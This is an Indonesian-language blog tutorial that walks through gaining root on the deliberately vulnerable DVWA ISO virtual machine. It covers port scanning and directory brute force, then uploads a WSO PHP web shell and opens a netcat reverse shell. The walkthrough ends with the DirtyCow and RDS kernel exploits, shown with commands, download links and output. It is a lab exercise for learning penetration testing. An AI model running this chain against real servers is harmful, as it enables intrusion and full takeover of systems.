[Pentest Series] Hacking DVWA ISO sampai root access (Way-1)

Disini kamu akan melakukan real penetration testing terhadap sistem yang berjalan. Kamu akan mempelajari bagaimana caranya mendapatkan akses tertinggi (root/administrator) pada suatu server.

Ini hanya sebagai permulaan, karena kita semua tahu bahwa DVWA adalah website yang sangat vulnerable.

Namanya juga Damn Vulnerable Web App

Namun, apa bisa kita mendapatkan akses root ke dalam server tsb? Kalau saya googling2, belum ada loh blog yang membahas bagaimana cara akses root ke dalam dvwa ini. Kalau coba2 doang kayak SQLI, XSS, dll mah semua orang juga bisa *ooops.

Kalau cuma segitu doang, pake acunetix/burp/owasp zap terus ditinggal tidur juga bisa kali brooo :v

Tentu kamu ga mau kan cuma bisa “ngehack” segituan aja? Makanya yuk mari ikuti artikel ini hingga tamat.

[0] Download challenge

Silahkan download ISOnya disini http://www.dvwa.co.uk/DVWA-1.0.7.iso

[1] Take a Look

Coba kamu lihat apakah VM sudah berjalan normal. Apakah VM DVWA target sudah bisa diakses secara remote?

Ya coba aja iseng2 masukin password apa kek. Siapa tau dapet rootnya

Dapet shell user dvwa, tapi ga tau cara masuk root

Sudah biarkan saja terminal ini, anggap saja kita adalah seorang hacker yang tidak memiliki akses fisik ke sebuah server, okay? Sehingga kita harus mengaksesnya via remote.

[2] Port Scan

Gunakan NMAP untuk scanning seluruh port dengan mode -p-. Kalau kelamaan, jangan scanning seluruh port. Biarkan NMAP yang menyeleksi port mana yg mau ditest

kucing@kucing-desktop-nuc:~$ nmap -p- 192.168.56.101
Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-13 06:00 WIB
WARNING: Running Nmap setuid, as you are doing, is a major security risk.
WARNING: Running Nmap setgid, as you are doing, is a major security risk.
Stats: 0:01:42 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 13.52% done; ETC: 06:13 (0:10:52 remaining)
Stats: 0:20:20 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 31.27% done; ETC: 07:05 (0:44:42 remaining)
CTRL+C (kelamaan)
kucing@kucing-desktop-nuc:~$ nmap 192.168.56.101
Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-13 06:21 WIB
WARNING: Running Nmap setuid, as you are doing, is a major security risk.
WARNING: Running Nmap setgid, as you are doing, is a major security risk.
Nmap scan report for 192.168.56.101
Host is up (0.0022s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
MAC Address: 08:00:27:C9:99:F3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

[3] Buka port 80

Buka halaman website di 192.168.56.101. Login dengan admin:password (didapat dari googling). Jangan lupa set securitynya menjadi low terlebih dahulu di http://192.168.56.101/security.php

[!] Hacking best practices

Sangat dianjurkan buat kamu untuk melakukan scanning/bruteforce direktori web dengan dirb atau dirsearch seperti yang saya lakukan dibawah (beberapa saya cut biar ga terlalu panjang):

kucing@kucing-desktop-nuc:~$ dirb http://192.168.56.101/ bruteforce/common_web.txt
---- Scanning URL: http://192.168.56.101/ ----
+ http://192.168.56.101/login.php (CODE:200|SIZE:1224)
+ http://192.168.56.101/favicon.ico (CODE:200|SIZE:1406)
+ http://192.168.56.101/index.php (CODE:302|SIZE:0)
+ http://192.168.56.101/php.ini (CODE:200|SIZE:148)
+ http://192.168.56.101/phpinfo.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.56.101/phpmyadmin/
Lumayan dapet halaman phpmyadmin haha

[4] Buka halaman upload

Buka halaman upload (http://192.168.56.101/vulnerabilities/upload/) dan saya disini upload WSO shell php (https://cloud.github.com/downloads/orbweb/PHP-SHELL-WSO/wso2.5.1.php)

../../hackable/uploads/wso2.5.1.php succesfully uploaded!

[5] Buka file WSO

Dan kamu masuk ke halaman wso. Silahkan lihat-lihat terlebih dahulu. Masuk ke bagian network

Halaman WSO PHP Shell

Untuk melakukan TCP Backconnect shell, jangan lupa menjalankan netcat listener di host kamu.

kucing@kucing-desktop-nuc:~$ nc -lvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Dan kalau sudah siap, kamu tinggal tekan tombol >> pada web tersebut.

Tugas! Coba kamu gunakan shell yang lain. Atau coba bikin shell tcp backconnect php buatan kamu sendiri

[6] Membangkitkan shell

Cek apakah server kamu ada python. Kalau iya, lakukan perintah yang di bold berikut ini (masih dalam terminal netcat)

Connection from [192.168.56.101] port 31337 [tcp/*] accepted (family 2, sport 35789)
/bin/sh: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash');"
python: /opt/lampp/lib/libz.so.1: no version information available (required by python)
python: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (required by python)
python: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required by python)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$

[7] Linux Privilege Checker

Dalam tutorial ini, kamu akan diajarkan sedikit bagaimana intuisinya hacker dalam mencapai root access. Dan inilah mindset yang kamu harus pegang setiap kali melakukan penetration testing.

Always try harder to get higher privileges

Dengan shell wso, kamu bisa upload file linuxprivchecker.py yang bisa diambil disini (https://www.securitysift.com/download/linuxprivchecker.py)

Jalankan linuxprivchecker tersebut dengan python

nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ ls
ls
dvwa_email.png linuxprivchecker.py wso2.5.1.php
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ python linuxprivchecker.py > hasil.txt
il.txt linuxprivchecker.py > has
python: /opt/lampp/lib/libz.so.1: no version information available (required by python)
python: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (required by python)
python: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required by python)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$

[8] Akses hasil pengecekan oleh linuxprivchecker

Coba buka hasil.txt dan outputnya akan sama seperti ini (tidak saya tulis semua karena terlalu panjang)

==================================================================
LINUX PRIVILEGE ESCALATION CHECKER
==================================================================

[*] GETTING BASIC SYSTEM INFO...

[+] Kernel
Linux version 2.6.32-24-generic (buildd@vernadsky) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #41-Ubuntu SMP Thu Aug 19 01:12:52 UTC 2010

[+] Hostname
dvwa
dst..

[9] Intuisi dan Analisis

Disini kamu sudah harus mulai pintar menebak-nebak kelemahan sistem. Saya akan coba dengan menggunakan local root kernel exploit. Karena ini versi jadul (2.6.32), seharusnya sudah ada exploit kernel untuk versi tersebut.

Dibawah ini saya akan mencoba seluruh kemungkinan celah pada kernel agar saya mendapatkan root access.

[!] Cek apakah ada gcc?

Setelah dicek dengan menjalankan perintah gcc, ini adalah output yg muncul

The program 'gcc' can be found in the following packages:
* gcc (You will have to enable component called 'main')
* pentium-builder (You will have to enable component called 'universe')
Ask your administrator to install one of them

Oops ga ada gcc? Kalau demikian biasanya hampir >70% kemungkinan exploit yg ada akan failed karena banyak library yg dibutuhkan bergantung pada gcc.

Namun jangan putus asa dahulu, mari kita coba 4 kernel exploit, dimana 2 kernel exploit itu hasil dari linuxprivchecker dan 2 lagi dari saran dari situs (https://www.kernel-exploits.com/kernel/?version=2.6.32-24-generic)

  1. DirtyCow, local root exploit yang sedang kekinian (https://github.com/dirtycow/)
  2. RDS Protocol Privilege (https://www.exploit-db.com/exploits/15285/)
  3. 8572 Udev Link (https://www.exploit-db.com/exploits/8572/)
  4. CAN BCM Privilege Escalation (https://www.exploit-db.com/exploits/14814/)

Jangan lupa lihat versi OSnya ini 32 bit. Host kamu harus 32bit juga atau bisa compile gcc dengan mode -m32

[9.1] DirtyCow Exploit

Ini adalah exploit yang cukup kekinian. Test script yang ada digunakan untuk mencoba apakah DirtyCow Race Condition exploit benar-benar berjalan ketika menulis file dengan root owner. Langsung aja test dengan script ini:

https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Compile dengan cara

gcc -m32 -pthread dirtyc0w.c -o  dirtyc0w

Lalu upload ke server, dan jalankan perintah berikut

nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ chmod +x dirtyc0w
chmod +x dirtyc0w
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ ./dirtyc0w
./dirtyc0w
usage: dirtyc0w target_file new_content
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ ./dirtyc0w /etc/crontab akuganteng
ngdirtyc0w /etc/crontab akugante
mmap b77e1000

Setelah menunggu sekian lama, tidak ada hal yang menakjubkan terjadi. Yasudah saatnya CTRL+C dan coba exploit yang lain.

[9.2] RDS Privilege

Sekarang kita coba saran dari kernel-exploits.com, dimana dia sangat menyarankan menggunakan exploit RDS protocol. Langsung saja ambil binarynya di link (https://www.kernel-exploits.com/media/rds). Upload ke dalam server dan jalankan perintah berikut

nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ ls
ls
can_bcm dvwa_email.png rds wso2.5.1.php
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ chmod +x rds
chmod +x rds
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ ./rds
./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08ccc4c
[+] Resolved default_security_ops to 0xc0775340
[+] Resolved cap_ptrace_traceme to 0xc02f5150
[+] Resolved commit_creds to 0xc016dd90
[+] Resolved prepare_kernel_cred to 0xc016e0d0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# python -c "import pty; pty.spawn('/bin/bash');"
python -c "import pty; pty.spawn('/bin/bash');"
python: /opt/lampp/lib/libz.so.1: no version information available (required by python)
python: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (required by python)
python: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required by python)
root@dvwa:/opt/lampp/htdocs/hackable/uploads# whoami && id
whoami && id
root
uid=0(root) gid=0(root)
root@dvwa:/opt/lampp/htdocs/hackable/uploads# GG!

[10] Congratulations!

Kamu sudah berhasil mendapatkan akses root lewat teknik local root exploitation.

Kalau kamu masih penasaran dengan script exploit yang lain. Paling silahkan coba sendiri yah, saya ngantuk mau tidur hahaha.

Tapi yang jelas, bakal ada part 2 mengenai cara lain untuk masuk root lewat ISO DVWA ini. Jadi tetap stay tuned ya.

Semoga bermanfaat! :)

Plus jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be